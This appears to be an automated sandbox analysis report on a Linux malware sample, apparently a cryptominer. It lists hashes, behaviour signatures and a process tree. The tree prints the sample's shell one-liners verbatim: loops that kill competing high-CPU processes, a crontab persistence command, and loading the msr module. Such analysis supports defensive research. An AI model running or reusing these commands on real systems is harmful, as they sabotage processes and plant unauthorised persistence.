Analysis

  • max time kernel
    0s
  • max time network
    117s
  • platform
    linux_amd64
  • resource
    ubuntu1804-amd64-en-20211208
  • submitted
    19-06-2022 22:49

General

  • Target

    341824d382550110cffffec8f70af0519ef46f4524536c0489c9a0459f0c4b5a

  • Size

    969KB

  • MD5

    cfbb80188473988925a9d08f4d397ab9

  • SHA1

    95996dc888b95a1380efb3e85dd4ad3cd324e960

  • SHA256

    341824d382550110cffffec8f70af0519ef46f4524536c0489c9a0459f0c4b5a

  • SHA512

    4efd90a2ff24719eec4ffaafde0e1aff0aeaf886b706258fe72d22491ddcbca973f0cdaa4a3b9a4207700330300692491e07d050d43eb105ce5e8ea3e0799204

Score
9/10

Malware Config

Signatures

  • Attempts to identify hypervisor via CPU configuration 1 TTPs 1 IoCs

    Checks CPU information for indicators that the system is a virtual machine.

  • Modifies hosts file 1 IoCs

    Adds to hosts file used for mapping hosts to IP addresses.

  • Writes DNS configuration 1 TTPs 1 IoCs

    Writes data to DNS resolver config file.

  • Reads CPU attributes 1 TTPs 5 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • ./341824d382550110cffffec8f70af0519ef46f4524536c0489c9a0459f0c4b5a
    ./341824d382550110cffffec8f70af0519ef46f4524536c0489c9a0459f0c4b5a
    1⤵
    • Attempts to identify hypervisor via CPU configuration
    • Reads CPU attributes
    • Enumerates kernel/hardware configuration
    • Writes file to tmp directory
    PID:570
    • /bin/sh
      sh -c "ps -eo %cpu,pid,command --sort -%cpu 2>/dev/null | head -n 2 2>/dev/null | awk '{print \$1 \" \" \$2 \" \" \$3}' 2>/dev/null |grep -v \"-bash\" 2>/dev/null |awk -v cpus=\$[threads*45] '{if(\$1>=cpus) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done"
      2⤵
        PID:571
        • /usr/bin/awk
          awk "{print \$1 \" \" \$2 \" \" \$3}"
          3⤵
            PID:574
          • /usr/bin/head
            head -n 2
            3⤵
              PID:573
            • /bin/ps
              ps -eo "%cpu,pid,command" --sort "-%cpu"
              3⤵
              • Reads CPU attributes
              • Reads runtime system information
              PID:572
            • /bin/grep
              grep -v -bash
              3⤵
                PID:575
              • /usr/bin/awk
                awk -v "cpus=\$[threads*45]" "{if(\$1>=cpus) print \$2}"
                3⤵
                  PID:576
              • /bin/sh
                sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done"
                2⤵
                  PID:578
                  • /bin/ps
                    ps -A "-ostat,ppid"
                    3⤵
                    • Reads CPU attributes
                    • Reads runtime system information
                    PID:579
                  • /usr/bin/awk
                    awk "/[zZ]/ && !a[\$2]++ {print \$2}"
                    3⤵
                      PID:580
                  • /bin/sh
                    sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
                    2⤵
                      PID:582
                      • /usr/bin/id
                        id -u
                        3⤵
                          PID:583
                        • /bin/grep
                          grep -v grep
                          3⤵
                            PID:585
                          • /bin/ps
                            ps aux
                            3⤵
                            • Reads CPU attributes
                            • Reads runtime system information
                            PID:584
                          • /bin/grep
                            grep -v -- "-bash[[:space:]]*\$"
                            3⤵
                              PID:586
                            • /bin/grep
                              grep -v /usr/sbin/httpd
                              3⤵
                                PID:587
                              • /usr/bin/awk
                                awk "{if(\$3>30.0) print \$2}"
                                3⤵
                                  PID:588
                              • /bin/sh
                                sh -c "dir=`pwd 2>/dev/null`;rm -rf \$dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v './341824d382550110cffffec8f70af0519ef46f4524536c0489c9a0459f0c4b5a' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '\$dir/'./341824d382550110cffffec8f70af0519ef46f4524536c0489c9a0459f0c4b5a' >> .cron 2>/dev/null; if [ \$(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep './341824d382550110cffffec8f70af0519ef46f4524536c0489c9a0459f0c4b5a\$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab \$dir/.cron 2>/dev/null; fi;rm -rf \$dir/.cron 2>/dev/null"
                                2⤵
                                  PID:594
                                  • /bin/rm
                                    rm -rf /tmp/.cron
                                    3⤵
                                    • Writes file to tmp directory
                                    PID:596
                                  • /bin/grep
                                    grep -v grep
                                    3⤵
                                      PID:598
                                    • /usr/bin/crontab
                                      crontab -l
                                      3⤵
                                        PID:597
                                      • /bin/grep
                                        grep -v ./341824d382550110cffffec8f70af0519ef46f4524536c0489c9a0459f0c4b5a
                                        3⤵
                                          PID:599
                                        • /usr/bin/crontab
                                          crontab /tmp/.cron
                                          3⤵
                                          • Writes file to tmp directory
                                          PID:607
                                        • /bin/rm
                                          rm -rf /tmp/.cron
                                          3⤵
                                          • Writes file to tmp directory
                                          PID:608
                                      • /bin/sh
                                        sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"
                                        2⤵
                                          PID:609
                                          • /usr/bin/id
                                            id -u
                                            3⤵
                                              PID:610
                                        • /usr/bin/crontab
                                          crontab -l
                                          1⤵
                                            PID:601
                                          • /bin/grep
                                            grep -v grep
                                            1⤵
                                              PID:602
                                            • /bin/grep
                                              grep "./341824d382550110cffffec8f70af0519ef46f4524536c0489c9a0459f0c4b5a\$"
                                              1⤵
                                                PID:603
                                              • /usr/bin/sort
                                                sort
                                                1⤵
                                                  PID:604
                                                • /usr/bin/uniq
                                                  uniq
                                                  1⤵
                                                    PID:605
                                                  • /usr/bin/wc
                                                    wc -l
                                                    1⤵
                                                      PID:606
                                                    • /bin/ps
                                                      ps aux
                                                      1⤵
                                                      • Reads CPU attributes
                                                      • Reads runtime system information
                                                      PID:612
                                                    • /bin/grep
                                                      grep -v grep
                                                      1⤵
                                                        PID:613
                                                      • /bin/grep
                                                        grep -- "-bash[[:space:]]*\$"
                                                        1⤵
                                                          PID:614
                                                        • /usr/bin/awk
                                                          awk "{if(\$3>30.0) print \$2}"
                                                          1⤵
                                                            PID:615
                                                          • /usr/bin/wc
                                                            wc -l
                                                            1⤵
                                                              PID:616
                                                            • /bin/sh
                                                              sh -c "/sbin/modprobe msr > /dev/null 2>&1"
                                                              1⤵
                                                                PID:623
                                                                • /sbin/modprobe
                                                                  /sbin/modprobe msr
                                                                  2⤵
                                                                  • Enumerates kernel/hardware configuration
                                                                  PID:624

                                                              Network

                                                              MITRE ATT&CK Enterprise v6

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads